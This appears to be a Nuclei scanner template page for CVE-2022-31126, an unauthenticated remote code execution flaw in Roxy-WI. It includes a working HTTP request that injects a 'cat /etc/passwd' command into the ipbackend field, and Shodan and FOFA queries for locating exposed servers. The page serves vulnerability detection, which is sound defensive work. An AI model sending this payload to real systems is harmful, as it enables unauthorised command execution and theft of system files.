Roxy-WI <6.1.1.0 - Remote Code Execution

ID: CVE-2022-31126

Severity: critical

Author: DhiyaneshDK

Tags: cve2022,cve,rce,unauth,roxy,packetstorm,roxy-wi

Description

Roxy-WI before 6.1.1.0 is susceptible to remote code execution. System commands can be run remotely via the subprocess_execute function without processing the inputs received from the user in the /app/options.py file.

YAML Source

id: CVE-2022-31126

info:
  name: Roxy-WI <6.1.1.0 - Remote Code Execution
  author: DhiyaneshDK
  severity: critical
  description: |
    Roxy-WI before 6.1.1.0 is susceptible to remote code execution. System commands can be run remotely via the subprocess_execute function without processing the inputs received from the user in the /app/options.py file.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system.
  remediation: Users are advised to upgrade to latest version.
  reference:
    - http://packetstormsecurity.com/files/167805/Roxy-WI-Remote-Command-Execution.html
    - https://www.cve.org/CVERecord?id=CVE-2022-31137
    - https://github.com/hap-wi/roxy-wi/security/advisories/GHSA-mh86-878h-43c9
    - https://nvd.nist.gov/vuln/detail/CVE-2022-31137
    - https://nvd.nist.gov/vuln/detail/CVE-2022-31126
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-31126
    cwe-id: CWE-74
    epss-score: 0.84229
    epss-percentile: 0.98401
    cpe: cpe:2.3:a:roxy-wi:roxy-wi:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: roxy-wi
    product: roxy-wi
    shodan-query:
      - http.html:"Roxy-WI"
      - http.html:"roxy-wi"
    fofa-query: body="roxy-wi"
  tags: cve2022,cve,rce,unauth,roxy,packetstorm,roxy-wi

http:
  - raw:
      - |
        POST /app/options.py HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded; charset=UTF-8
        X-Requested-With: XMLHttpRequest
        Origin: {{BaseURL}}
        Referer: {{BaseURL}}/app/login.py

        alert_consumer=1&serv=127.0.0.1&ipbackend=";cat+/etc/passwd+##&backend_server=127.0.0.1

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 490a00463044022061d295f01c235e5197e40fa6ba390ff4cffc62a8505e2d8636d054e9344df5b102207fde72863763436294ea17922d153144881baeca03cc81a3d8c3149053b0c061:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2022/CVE-2022-31126.yaml"

View on Github